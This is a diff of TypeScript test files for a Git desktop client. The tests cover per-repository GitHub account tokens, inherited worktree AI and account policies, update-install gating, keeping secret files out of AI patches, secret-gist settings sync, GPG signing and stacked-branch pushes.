100644 index 0000000..4a07edd --- /dev/null +++ b/test/fixture/repo-account.test.ts @@ -0,0 +1,144 @@ +import { execFileSync } from 'node:child_process'; +import { chmod, mkdir, mkdtemp, readFile, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { repoScope } from '../../src/main/core/client-context'; +import { gitAccountEnv } from '../../src/main/gh/accounts'; +import { GhClient } from '../../src/main/gh/gh'; +import { GitClient } from '../../src/main/git/git'; +import type { Store } from '../../src/main/store'; +import { ToolLocator } from '../../src/main/tools'; +import { DEFAULT_SETTINGS, type AppSettings, type RepositoryInfo } from '../../src/shared/types'; + +// Stub tools are POSIX shell scripts. +const posix = process.platform !== 'win32'; + +let dir: string; +let work: string; + +beforeEach(async () => { + dir = await mkdtemp(join(tmpdir(), 'gitgood-account-')); + work = join(dir, 'work'); + await mkdir(work); + vi.stubEnv('SHELL', '/bin/sh'); // a fast login shell for the shared PATH lookup + vi.stubEnv('GH_TOKEN', ''); +}); + +afterEach(async () => { + vi.unstubAllEnvs(); + await rm(dir, { recursive: true, force: true }); +}); + +async function stub(name: string, body: string): Promise { + const path = join(dir, name); + await writeFile(path, `#!/bin/sh\n${body}\n`); + await chmod(path, 0o755); + return path; +} + +function locator(settings: Partial, repositories: Partial[] = []): ToolLocator { + const full = { ...DEFAULT_SETTINGS, ...settings, ai: { ...DEFAULT_SETTINGS.ai, ...(settings.ai ?? {}) } }; + return new ToolLocator({ getSettings: () => full, getRepositories: () => repositories as RepositoryInfo[] } as unknown as Store); +} + +describe.skipIf(!posix)('tool probes', () => { + it('lets git run while a slow claude probe is still running, then reports claude when it finishes', async () => { + const git = await stub('git', 'echo "git version 2.45.0"'); + const claude = await stub('claude', 'if [ "$1" = "--version" ]; then sleep 2; echo "1.2.3 (Claude Code)"; fi'); + const tools = locator({ gitPath: git, ai: { claudeCliPath: claude } as AppSettings['ai'] }); + const changes: string[] = []; + tools.onChange((s) => changes.push(s.claudeCli.pending ? 'claude-pending' : 'claude-done')); + + const started = Date.now(); + const out = await new GitClient(tools).run(dir, ['version']); + const elapsed = Date.now() - started; + + expect(out.stdout).toContain('git version'); + expect(elapsed).toBeLessThan(1500); + expect(tools.current().claudeCli.pending).toBe(true); + + await tools.ensure('claudeCli'); + expect(tools.current().claudeCli).toMatchObject({ installed: true, version: '1.2.3 (Claude Code)' }); + expect(changes.at(-1)).toBe('claude-done'); + }); +}); + +describe.skipIf(!posix)('repository GitHub account', () => { + const REPO_ACCOUNT = { host: 'github.com', login: 'work-bot' }; + + async function setup(repositories: 'chosen' | 'none') { + const envLog = join(dir, 'env.log'); + const tokenCalls = join(dir, 'token-calls.log'); + // git/gh stubs dump the env vars the account feature sets, one block per run, and record `gh auth token` calls. + const dump = `{ echo "ARGV=$*"; echo "GH_TOKEN=$GH_TOKEN"; echo "COUNT=$GIT_CONFIG_COUNT"; echo "HELPER_TOKEN=$GITGOOD_ACCOUNT_TOKEN"; } >> "${envLog}"`; + const git = await stub('git', `case "$*" in *--version*) echo "git version 2.45.0";; *) ${dump};; esac`); + const gh = await stub('gh', `case "$*" in *--version*) echo "gh version 2.101.0";; "auth token --hostname github.com --user work-bot") echo x >> "${tokenCalls}"; echo "tok_work";; *) ${dump};; esac`); + const repo: Partial = { path: work, ...(repositories === 'chosen' ? { githubAccount: REPO_ACCOUNT } : {}) }; + const tools = locator({ gitPath: git, ghPath: gh }, [repo]); + return { tools, envLog, tokenCalls }; + } + + const blocks = async (file: string) => (await readFile(file, 'utf8')).trim().split(/(?=ARGV=)/); + + it('fetches the token once and injects it into push and fetch, but not into local commands', async () => { + const { tools, envLog, tokenCalls } = await setup('chosen'); + const git = new GitClient(tools); + await git.run(work, ['push', 'origin', 'main']).catch(() => undefined); + await git.run(work, ['fetch', '--prune']); + await git.run(work, ['push', 'origin', 'main']); + await git.run(work, ['status']); + + const runs = (await blocks(envLog)).map((b) => ({ argv: /ARGV=(.*)/.exec(b)![1], token: /GH_TOKEN=(.*)/.exec(b)![1], count: /COUNT=(.*)/.exec(b)![1] })); + const network = runs.filter((r) => /--no-pager (push|fetch)/.test(r.argv)); + expect(network).toHaveLength(3); + for (const r of network) expect(r).toMatchObject({ token: 'tok_work', count: '2' }); + expect(runs.find((r) => r.argv.endsWith('status'))).toMatchObject({ token: '', count: '' }); + expect((await readFile(tokenCalls, 'utf8')).trim().split('\n')).toHaveLength(1); + }); + + it('does not touch a repository that follows the active account', async () => { + const { tools, envLog } = await setup('none'); + await new GitClient(tools).run(work, ['push']); + expect(await readFile(envLog, 'utf8')).toContain('GH_TOKEN=\n'); + }); + + it('runs gh as the repository account for its cwd and for a handler scoped to the repository', async () => { + const { tools, envLog } = await setup('chosen'); + const gh = new GhClient(tools); + await gh.run(['repo', 'view'], { cwd: work }).catch(() => undefined); + await repoScope.run(work, () => gh.run(['pr', 'list'])); + await gh.run(['gist', 'list']); // no repository in play: the active account + const runs = (await blocks(envLog)).map((b) => ({ argv: /ARGV=(.*)/.exec(b)![1], token: /GH_TOKEN=(.*)/.exec(b)![1] })); + expect(runs.find((r) => r.argv.startsWith('pr list'))?.token).toBe('tok_work'); + expect(runs.find((r) => r.argv.startsWith('gist list'))?.token).toBe(''); + }); + + it('refuses to fall back to another identity when the chosen account is no longer signed in', async () => { + const git = await stub('git', 'echo "git version 2.45.0"'); + const gh = await stub('gh', 'case "$*" in *--version*) echo "gh version 2.101.0";; *) echo "no token found" >&2; exit 1;; esac'); + const tools = locator({ gitPath: git, ghPath: gh }, [{ path: work, githubAccount: REPO_ACCOUNT }]); + await expect(new GitClient(tools).run(work, ['push'])).rejects.toMatchObject({ info: { code: 'gh-not-authenticated' } }); + }); +}); + +describe('credential helper env', () => { + it('makes git itself answer credential requests for the host with the account token', () => { + let out: string; + try { + out = execFileSync('git', ['credential', 'fill'], { + input: 'protocol=https\nhost=github.com\n\n', + env: { ...process.env, ...gitAccountEnv('github.com', 'tok_abc', process.env), GIT_TERMINAL_PROMPT: '0' }, + encoding: 'utf8', + }); + } catch (err) { + // Git older than 2.31 ignores GIT_CONFIG_COUNT and falls back to the gh helper; nothing to assert there. + if ((err as NodeJS.ErrnoException).code === 'ENOENT') return; + const version = /git version (\d+)\.(\d+)/.exec(execFileSync('git', ['--version'], { encoding: 'utf8' })); + if (version && (Number(version[1]) < 2 || (Number(version[1]) === 2 && Number(version[2]) < 31))) return; + throw err; + } + expect(out).toContain('username=x-access-token'); + expect(out).toContain('password=tok_abc'); + }); +}); diff --git a/test/fixture/repo-policies.test.ts b/test/fixture/repo-policies.test.ts new file mode 100644 index 0000000..f19d364 --- /dev/null +++ b/test/fixture/repo-policies.test.ts @@ -0,0 +1,171 @@ +import { chmod, mkdir, readFile, rm, writeFile } from 'node:fs/promises'; +import { join } from 'node:path'; +import { afterEach, beforeEach, describe, expect, it, vi, type Mock } from 'vitest'; +import { clientContext } from '../../src/main/core/client-context'; +import { createHandlers, type CoreHandlers, type HandlerDeps } from '../../src/main/core/handlers'; +import { GitClient } from '../../src/main/git/git'; +import { RepositoryManager } from '../../src/main/repo/manager'; +import { Store } from '../../src/main/store'; +import { ToolLocator } from '../../src/main/tools'; +import { DEFAULT_SETTINGS } from '../../src/shared/types'; +import { createRepo, hasGitSync, type TestRepo } from '../helpers/repo'; + +const posix = process.platform !== 'win32'; +const ACCOUNT = { host: 'github.com', login: 'work-bot' }; + +describe.skipIf(!hasGitSync() || !posix)('linked worktrees follow their main repository policy', () => { + let repo: TestRepo; + let store: Store; + let manager: RepositoryManager; + let tools: ToolLocator; + let networkLog: string; + + async function stub(name: string, body: string): Promise { + const path = join(repo.root, 'stubs', name); + await mkdir(join(repo.root, 'stubs'), { recursive: true }); + await writeFile(path, `#!/bin/sh\n${body}\n`); + await chmod(path, 0o755); + return path; + } + + beforeEach(async () => { + vi.stubEnv('SHELL', '/bin/sh'); + vi.stubEnv('GH_TOKEN', ''); + repo = await createRepo({ commits: [{ message: 'init', files: { 'a.txt': '1\n' } }] }); + networkLog = join(repo.root, 'network.log'); + // git: network commands only record the token they were given; everything else is the real git. + const git = await stub('git', `case " $* " in *" fetch "*|*" push "*) echo "$GH_TOKEN" >> "${networkLog}"; exit 0;; esac\nexec "${repo.gitBin}" "$@"`); + const gh = await stub('gh', `case "$*" in *--version*) echo "gh version 2.101.0";; "auth token --hostname github.com --user work-bot") echo "tok_work";; esac`); + store = new Store(join(repo.root, 'userdata')); + store.load(); + const settings = { ...DEFAULT_SETTINGS, gitPath: git, ghPath: gh }; + tools = new ToolLocator({ getSettings: () => settings, getRepositories: () => store.getRepositories() } as unknown as Store); + manager = new RepositoryManager(store, new GitClient(tools), () => undefined); + tools.policyRepo = (p) => manager.policyRepo(p); + }); + + afterEach(async () => { + vi.unstubAllEnvs(); + manager.dispose(); + await repo.dispose(); + }); + + async function mainWithPolicy(): Promise<{ registered: string; derived: string }> { + const main = await manager.add(repo.path); + const registered = join(repo.root, 'wt-registered'); + const derived = join(repo.root, 'wt-derived'); + repo.git(['worktree', 'add', '-b', 'one', registered]); + repo.git(['worktree', 'add', '-b', 'two', derived]); + await manager.add(registered); + await manager.setPrefs(main.id, { githubAccount: ACCOUNT }); + await manager.setAiDisabled(main.id, true); + return { registered, derived }; + } + + it('uses the main repository account for network git and gh in registered and unregistered worktrees', async () => { + const { registered, derived } = await mainWithPolicy(); + expect(manager.getByPath(derived)).toBeNull(); // really only known to git + for (const dir of [repo.path, registered, derived]) { + expect(await tools.repoAccount(dir)).toEqual({ host: 'github.com', token: 'tok_work' }); + await new GitClient(tools).run(dir, ['fetch']); + } + expect((await readFile(networkLog, 'utf8')).trim().split('\n')).toEqual(['tok_work', 'tok_work', 'tok_work']); + expect(JSON.stringify(store.getRepositories())).not.toContain('tok_work'); + }); + + it('leaves worktrees of a main without a chosen account on the active identity', async () => { + await manager.add(repo.path); + const dir = join(repo.root, 'wt'); + repo.git(['worktree', 'add', '-b', 'one', dir]); + expect(await tools.repoAccount(dir)).toBeNull(); + }); + + it('shows the inherited AI opt-out and account on registered and derived worktree entries', async () => { + const { registered, derived } = await mainWithPolicy(); + const list = await manager.list(); + for (const dir of [registered, derived]) expect(list.find((r) => r.path === dir)).toMatchObject({ aiDisabled: true, githubAccount: ACCOUNT }); + expect(store.getRepositories().find((r) => r.path === registered)?.aiDisabled).toBeUndefined(); // not persisted on the worktree + }); + + it('refuses AI handlers in worktrees of an AI-disabled main, and honours a worktree-only config opt-out', async () => { + const triage = { get: vi.fn(async () => 'ran') }; + const { handlers } = createHandlers({ store, repos: manager, triage, nlPalette: { setDispatcher: () => undefined } } as unknown as HandlerDeps); + const { registered, derived } = await mainWithPolicy(); + for (const dir of [repo.path, registered, derived]) await expect(handlers['ai.triage.get'](dir)).rejects.toThrow(/turned off for this repository on this machine/); + expect(triage.get).not.toHaveBeenCalled(); + + await manager.setAiDisabled(manager.getByPath(repo.path)!.id, false); + await expect(handlers['ai.triage.get'](derived)).resolves.toBe('ran'); + await mkdir(join(registered, '.gitgood'), { recursive: true }); + await writeFile(join(registered, '.gitgood', 'config.json'), '{"ai": false}'); + await expect(handlers['ai.triage.get'](registered)).rejects.toThrow(/config\.json/); + await expect(handlers['ai.triage.get'](derived)).resolves.toBe('ran'); + }); +}); + +describe.skipIf(!hasGitSync())('update install gate across open repositories', () => { + let a: TestRepo; + let b: TestRepo; + let manager: RepositoryManager; + let handlers: CoreHandlers['handlers']; + let quitAndInstall: Mock; + let aiActive: boolean; + + beforeEach(async () => { + a = await createRepo({ commits: [{ message: 'init', files: { 'a.txt': '1\n' } }] }); + b = await createRepo({ commits: [{ message: 'init', files: { 'a.txt': '1\n' } }] }); + // Repository A is mid-merge with a conflict. + a.git(['checkout', '-q', '-b', 'topic']); + a.commit({ message: 'topic', files: { 'a.txt': 'topic\n' } }); + a.git(['checkout', '-q', 'main']); + a.commit({ message: 'main', files: { 'a.txt': 'main\n' } }); + expect(() => a.git(['merge', 'topic'])).toThrow(); + + const store = new Store(join(a.root, 'userdata')); + store.load(); + const git = new GitClient(a.tools()); + manager = new RepositoryManager(store, git, () => undefined); + quitAndInstall = vi.fn(async () => undefined); + aiActive = false; + const idle = { isActive: () => aiActive }; + const deps = { store, git, tools: a.tools(), repos: manager, resolver: idle, review: idle, triage: idle, prDraft: idle, releaseNotes: idle, explain: idle, errorExplain: idle, splitter: idle, rebasePlan: idle, nlPalette: { ...idle, setDispatcher: () => undefined }, updater: { quitAndInstall }, emit: () => undefined }; + handlers = createHandlers(deps as unknown as HandlerDeps).handlers; + }); + + afterEach(async () => { + manager.dispose(); + await Promise.all([a.dispose(), b.dispose()]); + }); + + const as = (client: string, fn: () => Promise): Promise => Promise.resolve(clientContext.run(client, fn)); + + it('refuses while any window has a repository mid-operation, even when another window opened last', async () => { + await as('window-1', () => handlers['repo.open'](a.path)); + await as('window-2', () => handlers['repo.open'](b.path)); // B is now the last-opened repository + await expect(as('window-1', () => handlers['app.update.install']())).rejects.toThrow(/merge is in progress/); + await expect(as('window-2', () => handlers['app.update.install']())).rejects.toThrow(/merge is in progress/); + expect(quitAndInstall).not.toHaveBeenCalled(); + + a.git(['merge', '--abort']); + await as('window-2', () => handlers['app.update.install']()); + expect(quitAndInstall).toHaveBeenCalledTimes(1); + }); + + it('is not blocked by a conflicted repository nobody has open', async () => { + await as('window-1', () => handlers['repo.open'](a.path)); + await as('window-1', () => handlers['repo.open'](b.path)); // the window switched away from A + await as('window-1', () => handlers['app.update.install']()); + expect(quitAndInstall).toHaveBeenCalledTimes(1); + }); + + it('refuses when an open repository cannot be checked, and while AI is active', async () => { + await as('window-1', () => handlers['repo.open'](b.path)); + await rm(join(b.path, '.git'), { recursive: true, force: true }); + await expect(as('window-1', () => handlers['app.update.install']())).rejects.toThrow(/could not check/); + + await as('window-1', () => handlers['repo.close'](b.path)); + aiActive = true; + await expect(as('window-1', () => handlers['app.update.install']())).rejects.toThrow(/AI/); + expect(quitAndInstall).not.toHaveBeenCalled(); + }); +}); diff --git a/test/fixture/repo-watch-clients.test.ts b/test/fixture/repo-watch-clients.test.ts index ef6efed..4408f03 100644 --- a/test/fixture/repo-watch-clients.test.ts +++ b/test/fixture/repo-watch-clients.test.ts @@ -67,4 +67,18 @@ describe.skipIf(!hasGitSync())('repository watching per client', () => { await as('desktop', () => manager!.releaseClient('desktop')); await expectNoChange(one, '4\n'); }); + + it('reports which clients have a repository open, following switches and releases', async () => { + const [one, two] = await setup(); + await as('window-1', () => manager!.open(one.path)); + await as('window-2', () => manager!.open(one.path)); + expect(manager!.clientsWatching(one.path).sort()).toEqual(['window-1', 'window-2']); + + await as('window-2', () => manager!.open(two.path)); + expect(manager!.clientsWatching(one.path)).toEqual(['window-1']); + expect(manager!.clientsWatching(two.path)).toEqual(['window-2']); + + manager!.releaseClient('window-1'); + expect(manager!.clientsWatching(one.path)).toEqual([]); + }); }); diff --git a/test/fixture/secret-range.test.ts b/test/fixture/secret-range.test.ts new file mode 100644 index 0000000..916b325 --- /dev/null +++ b/test/fixture/secret-range.test.ts @@ -0,0 +1,35 @@ +import { describe, expect, it } from 'vitest'; +import { GitClient } from '../../src/main/git/git'; +import { getRangePatch } from '../../src/main/git/diff'; +import { createRepo, hasGitSync } from '../helpers/repo'; + +describe.skipIf(!hasGitSync())('AI range patch privacy', () => { + it('excludes secrets under Git-quoted paths without dropping ordinary code', async () => { + const repo = await createRepo({ commits: [{ message: 'base', files: { 'README.md': 'base\n' } }] }); + try { + repo.git(['checkout', '-b', 'feature']); + const paths = ['café/.env', 'space dir/.env.local', ...(process.platform === 'win32' ? [] : ['tab\tdir/.env', 'quote"dir/credentials.json'])]; + repo.commit({ message: 'changes', files: Object.fromEntries([...paths.map((p) => [p, 'DATABASE_PASSWORD=synthetic-private-value\n']), ['café/code.ts', 'export const safe = true;\n']]) }); + const result = await getRangePatch(new GitClient(repo.tools()), repo.path, 'main', 'feature', 120_000); + expect(result.patch).not.toContain('synthetic-private-value'); + expect(result.patch).toContain('export const safe = true;'); + expect(result.skipped.map((s) => s.split(': ')[0]).sort()).toEqual(paths.sort()); + } finally { + await repo.dispose(); + } + }); + + it('does not expose the old side of a secret renamed to a permitted filename', async () => { + const repo = await createRepo({ commits: [{ message: 'base', files: { '.env': 'DATABASE_PASSWORD=synthetic-private-value\n' } }] }); + try { + repo.git(['checkout', '-b', 'feature']); + repo.git(['mv', '.env', '.env.example']); + repo.commit({ message: 'rename' }); + const result = await getRangePatch(new GitClient(repo.tools()), repo.path, 'main', 'feature', 120_000); + expect(result.patch).toBe(''); + expect(result.skipped.map((s) => s.split(': ')[0])).toEqual(['.env']); + } finally { + await repo.dispose(); + } + }); +}); diff --git a/test/fixture/settings-sync-service.test.ts b/test/fixture/settings-sync-service.test.ts index 64da740..69508ad 100644 --- a/test/fixture/settings-sync-service.test.ts +++ b/test/fixture/settings-sync-service.test.ts @@ -39,14 +39,27 @@ describe('SettingsSyncService against the gh stub', () => { }); }); - it('enable reuses an existing gist found by its description', async () => { - await withService([{ match: 'gists', stdout: JSON.stringify([{ id: 'existing123', description: 'GitGood settings', updated_at: '2026-01-01T00:00:00Z' }]) }], async (service, store) => { + it('enable reuses an existing secret gist found by its description and file', async () => { + await withService([{ match: 'gists', stdout: JSON.stringify([{ id: 'existing123', description: 'GitGood settings', public: false, files: { 'gitgood-settings.json': {} }, updated_at: '2026-01-01T00:00:00Z' }]) }], async (service, store) => { const result = await service.enable(); expect(result.gistId).toBe('existing123'); expect(store.getSettingsSync().gistId).toBe('existing123'); }); }); + it('enable does not adopt a public gist with the matching description; it creates a secret one', async () => { + await withService( + [ + { match: ['api', 'gists', '--paginate'], stdout: JSON.stringify([{ id: 'pub1', description: 'GitGood settings', public: true, files: { 'gitgood-settings.json': {} } }]) }, + { match: 'gist create', stdout: 'https://gist.github.com/octocat/newgist123\n' }, + ], + async (service, store) => { + expect((await service.enable()).gistId).toBe('newgist123'); + expect(store.getSettingsSync().gistId).toBe('newgist123'); + }, + ); + }); + it('enable creates a new gist when none is found, and records a hash', async () => { await withService( [ @@ -73,13 +86,22 @@ describe('SettingsSyncService against the gh stub', () => { }); it('upload sends the current export over stdin and records the new hash and timestamp', async () => { - await withService([{ match: 'gist edit', stdoutFromStdin: true }], async (service, store, scenario) => { + await withService([{ match: ['api', 'gists/abc'], stdout: { updated_at: '2026-01-01T00:00:00Z', public: false } }, { match: 'gist edit', stdoutFromStdin: true }], async (service, store, scenario) => { store.setSettingsSync({ gistId: 'abc', lastSyncedAt: null, lastHash: null }); await service.upload(); expect(store.getSettingsSync().lastSyncedAt).toBeTruthy(); expect(store.getSettingsSync().lastHash).toBeTruthy(); const log = await readStubLog(scenario.logPath); - expect(log[0].args).toEqual(['gist', 'edit', 'abc', '--filename', 'gitgood-settings.json', '-']); + expect(log[1].args).toEqual(['gist', 'edit', 'abc', '--filename', 'gitgood-settings.json', '-']); + }); + }); + + it('upload refuses a public gist and never edits it', async () => { + await withService([{ match: ['api', 'gists/abc'], stdout: { updated_at: '2026-01-01T00:00:00Z', public: true } }, { match: 'gist edit', stdoutFromStdin: true }], async (service, store, scenario) => { + store.setSettingsSync({ gistId: 'abc', lastSyncedAt: null, lastHash: 'h' }); + await expect(service.upload()).rejects.toThrow(/public/); + expect(store.getSettingsSync().lastHash).toBe('h'); + expect((await readStubLog(scenario.logPath)).some((e) => e.args.includes('edit'))).toBe(false); }); }); diff --git a/test/fixture/signing.test.ts b/test/fixture/signing.test.ts index 3a15207..0bef19d 100644 --- a/test/fixture/signing.test.ts +++ b/test/fixture/signing.test.ts @@ -1,5 +1,5 @@ import { execFileSync } from 'node:child_process'; -import { readFileSync } from 'node:fs'; +import { mkdtempSync, readFileSync, rmSync } from 'node:fs'; import { mkdir, writeFile } from 'node:fs/promises'; import { join } from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; @@ -73,6 +73,7 @@ describe.skipIf(!hasGitSync())('signing config read/write', () => { describe.skipIf(!hasGitSync() || !hasGpgSync())('real GPG signing', () => { let repo: TestRepo | undefined; let gpgEnv: NodeJS.ProcessEnv | undefined; + let gnupgTmp: string | undefined; afterEach(async () => { if (gpgEnv) { @@ -83,14 +84,21 @@ describe.skipIf(!hasGitSync() || !hasGpgSync())('real GPG signing', () => { } gpgEnv = undefined; } + if (gnupgTmp) rmSync(gnupgTmp, { recursive: true, force: true }); + gnupgTmp = undefined; await repo?.dispose(); repo = undefined; }); it('signs a commit with a throwaway empty-passphrase key and verifies %G? as good', async () => { repo = await createRepo({ commits: [{ message: 'init', files: { 'a.txt': '1\n' } }] }); - const gnupgHome = join(repo.root, 'gnupghome'); - await mkdir(gnupgHome, { recursive: true, mode: 0o700 }); + // gpg-agent's socket lives in GNUPGHOME, and macOS caps socket paths at ~104 + // bytes -- its per-user tmpdir is already too long -- so use a short dir there. + // Windows' gpg is Git's MSYS build, which reads GNUPGHOME as a POSIX path. + const shortHome = process.platform === 'win32' ? join(repo.root, 'gnupghome') : mkdtempSync('/tmp/gg-gpg-'); + await mkdir(shortHome, { recursive: true, mode: 0o700 }); + gnupgTmp = shortHome; + const gnupgHome = process.platform === 'win32' ? shortHome.replace(/^([A-Za-z]):/, (_m, d: string) => `/${d.toLowerCase()}`).replace(/\\/g, '/') : shortHome; gpgEnv = { ...repo.env, GNUPGHOME: gnupgHome }; delete gpgEnv.GPG_TTY; diff --git a/test/fixture/stacked-branches.test.ts b/test/fixture/stacked-branches.test.ts new file mode 100644 index 0000000..6284ffd --- /dev/null +++ b/test/fixture/stacked-branches.test.ts @@ -0,0 +1,145 @@ +import { join } from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { getStackParents } from '../../src/main/git/branches'; +import { GitClient } from '../../src/main/git/git'; +import { pushStack, pushStackArgs, rebase } from '../../src/main/git/operations'; +import { createRepo, hasGitSync, type TestRepo } from '../helpers/repo'; + +/** main -> a -> b -> c, each branch one commit on top of the previous one; c is checked out. */ +async function stackedRepo(remote = false): Promise { + const repo = await createRepo({ commits: [{ message: 'init', files: { 'base.txt': '1\n' } }], remote }); + for (const name of ['a', 'b', 'c']) { + repo.git(['checkout', '-q', '-b', name]); + repo.commit({ message: `work on ${name}`, files: { [`${name}.txt`]: `${name}\n` } }); + } + return repo; +} + +describe.skipIf(!hasGitSync())('stacked branches', () => { + let repo: TestRepo | undefined; + afterEach(async () => { + await repo?.dispose(); + repo = undefined; + }); + + it('detects the branches below the current one, oldest first', async () => { + repo = await stackedRepo(); + const git = new GitClient(repo.tools()); + expect(await getStackParents(git, repo.path)).toEqual(['a', 'b']); + repo.git(['checkout', '-q', 'b']); + expect(await getStackParents(git, repo.path)).toEqual(['a']); + repo.git(['checkout', '-q', 'a']); + expect(await getStackParents(git, repo.path)).toEqual([]); + repo.git(['checkout', '-q', 'main']); + expect(await getStackParents(git, repo.path)).toEqual([]); + }); + + it('does not count a sibling at the same commit, an unrelated branch, or a merged parent', async () => { + repo = await stackedRepo(); + repo.git(['branch', 'c-twin']); + repo.git(['branch', 'other', 'main']); + const git = new GitClient(repo.tools()); + expect(await getStackParents(git, repo.path)).toEqual(['a', 'b']); + // Once `a` lands on main it is no longer part of the stack. + repo.git(['checkout', '-q', 'main']); + repo.git(['merge', '-q', '--ff-only', 'a']); + repo.git(['checkout', '-q', 'c']); + expect(await getStackParents(git, repo.path)).toEqual(['b']); + }); + + it('rebase --update-refs moves the stack along; a plain rebase leaves the parents behind', async () => { + repo = await stackedRepo(); + repo.git(['checkout', '-q', 'main']); + repo.commit({ message: 'main moves on', files: { 'main.txt': 'x\n' } }); + repo.git(['checkout', '-q', 'c']); + const git = new GitClient(repo.tools()); + const isAncestor = (a: string, b: string) => { + try { + repo!.git(['merge-base', '--is-ancestor', a, b]); + return true; + } catch { + return false; + } + }; + + const before = repo.git(['rev-parse', 'a', 'b']); + expect(await rebase(git, repo.path, 'main', true)).toEqual({ status: 'complete' }); + expect(repo.git(['rev-parse', 'a', 'b'])).not.toBe(before); + expect(isAncestor('main', 'a') && isAncestor('a', 'b') && isAncestor('b', 'c')).toBe(true); + expect(await getStackParents(git, repo.path)).toEqual(['a', 'b']); + + // Same setup, no --update-refs: a and b stay on the old main. + repo.git(['reset', '-q', '--hard', 'ORIG_HEAD']); + repo.git(['branch', '-f', 'a', before.split('\n')[0]]); + repo.git(['branch', '-f', 'b', before.split('\n')[1]]); + await rebase(git, repo.path, 'main'); + expect(repo.git(['rev-parse', 'a', 'b'])).toBe(before); + expect(isAncestor('main', 'a')).toBe(false); + }); + + it('builds a lease push for the whole stack and refuses option-like names', () => { + expect(pushStackArgs('origin', ['a', 'b', 'c'])).toEqual(['push', '--progress', '--force-with-lease', 'origin', 'a', 'b', 'c']); + expect(() => pushStackArgs('origin', ['-f'])).toThrow(); + }); + + it('pushes every stack branch to the remote, including unpublished ones', async () => { + repo = await stackedRepo(true); + repo.git(['push', '-q', 'origin', 'a']); + const git = new GitClient(repo.tools()); + const pushed = await pushStack(git, repo.path, () => undefined); + expect(pushed).toEqual(['a', 'b', 'c']); + for (const name of ['a', 'b', 'c']) { + expect(repo.git(['--git-dir', repo.remotePath!, 'rev-parse', `refs/heads/${name}`])).toBe(repo.git(['rev-parse', name])); + } + expect(repo.git(['rev-parse', '--abbrev-ref', 'c@{upstream}']).trim()).toBe('origin/c'); + }); + + const remoteHeads = (r: TestRepo) => r.git(['--git-dir', r.remotePath!, 'for-each-ref', '--format=%(refname:short) %(objectname)', 'refs/heads']).trim().split('\n').sort(); + const upstream = (r: TestRepo, b: string) => r.git(['config', '--get-regexp', `^branch\\.${b}\\.(remote|merge)$`]).trim().split('\n').sort(); + + it('publishes to origin, not to ".", when the child was created with --track , and keeps local tracking', async () => { + repo = await createRepo({ commits: [{ message: 'init', files: { 'base.txt': '1\n' } }], remote: true }); + repo.git(['checkout', '-q', '-b', 'parent']); + repo.commit({ message: 'parent work', files: { 'p.txt': 'p\n' } }); + repo.git(['push', '-q', '-u', 'origin', 'parent']); + repo.git(['checkout', '-q', '-b', 'child', '--track', 'parent']); + repo.commit({ message: 'child work', files: { 'c.txt': 'c\n' } }); + repo.git(['checkout', '-q', '-b', 'grandchild']); + repo.commit({ message: 'grandchild work', files: { 'g.txt': 'g\n' } }); + expect(repo.git(['config', '--get', 'branch.child.remote']).trim()).toBe('.'); + const git = new GitClient(repo.tools()); + + expect(await pushStack(git, repo.path, () => undefined)).toEqual(['parent', 'child', 'grandchild']); + const heads = remoteHeads(repo); + for (const name of ['parent', 'child', 'grandchild']) expect(heads).toContain(`${name} ${repo.git(['rev-parse', name]).trim()}`); + expect(upstream(repo, 'child')).toEqual(['branch.child.merge refs/heads/parent', 'branch.child.remote .']); + expect(upstream(repo, 'parent')).toEqual(['branch.parent.merge refs/heads/parent', 'branch.parent.remote origin']); + expect(upstream(repo, 'grandchild')).toEqual(['branch.grandchild.merge refs/heads/grandchild', 'branch.grandchild.remote origin']); + }); + + it('honours remote.pushDefault over the upstream remote', async () => { + repo = await stackedRepo(true); + const fork = join(repo.root, 'fork.git'); + repo.git(['init', '-q', '--bare', fork], repo.root); + repo.git(['remote', 'add', 'fork', fork]); + repo.git(['config', 'remote.pushDefault', 'fork']); + const git = new GitClient(repo.tools()); + await pushStack(git, repo.path, () => undefined); + expect(repo.git(['--git-dir', fork, 'for-each-ref', '--format=%(refname:short)', 'refs/heads']).trim().split('\n').sort()).toEqual(['a', 'b', 'c']); + expect(remoteHeads(repo).map((l) => l.split(' ')[0])).toEqual(['main']); + expect(repo.git(['config', '--get', 'branch.c.remote']).trim()).toBe('fork'); + }); + + it('refuses instead of pushing when there is no real remote or several unconfigured ones', async () => { + repo = await stackedRepo(); + repo.git(['config', 'branch.b.remote', '.']); + repo.git(['config', 'branch.b.merge', 'refs/heads/a']); + const git = new GitClient(repo.tools()); + await expect(pushStack(git, repo.path, () => undefined)).rejects.toThrow(/no remote/); + + repo.git(['remote', 'add', 'one', repo.path]); + repo.git(['remote', 'add', 'two', repo.path]); + await expect(pushStack(git, repo.path, () => undefined)).rejects.toThrow(/Several remotes/); + expect(repo.git(['config', '--get', 'branch.b.remote']).trim()).toBe('.'); + }); +}); diff --git a/test/fixture/tools.test.ts b/test/fixture/tools.test.ts index f271c43..23e0f70 100644 --- a/test/fixture/tools.test.ts +++ b/test/fixture/tools.test.ts @@ -1,7 +1,7 @@ import { execFileSync } from 'node:child_process'; import { describe, expect, it } from 'vitest'; import { DEFAULT_SETTINGS } from '../../src/shared/types'; -import { ToolLocator } from '../../src/main/tools'; +import { flagOutdated, ToolLocator } from '../../src/main/tools'; import type { Store } from '../../src/main/store'; function hasOnPath(name: string, args: string[]): boolean { @@ -21,7 +21,7 @@ function fakeStore(): Store { describe.skipIf(!hasOnPath('gpg', ['--version']))('ToolLocator: gpg detection', () => { it('reports gpg as installed with a parsed version', async () => { const locator = new ToolLocator(fakeStore()); - await locator.ensureLocated(); + await locator.ensure('gpg'); const state = locator.current(); expect(state.gpg.installed).toBe(true); expect(state.gpg.path).toBeTruthy(); @@ -32,7 +32,7 @@ describe.skipIf(!hasOnPath('gpg', ['--version']))('ToolLocator: gpg detection', describe.skipIf(!hasOnPath('ssh-keygen', ['-V']))('ToolLocator: ssh-keygen detection', () => { it('reports ssh-keygen as installed by presence on PATH', async () => { const locator = new ToolLocator(fakeStore()); - await locator.ensureLocated(); + await locator.ensure('sshKeygen'); const state = locator.current(); expect(state.sshKeygen.installed).toBe(true); expect(state.sshKeygen.path).toBeTruthy(); @@ -41,16 +41,37 @@ describe.skipIf(!hasOnPath('ssh-keygen', ['-V']))('ToolLocator: ssh-keygen detec describe.skipIf(!hasOnPath('git', 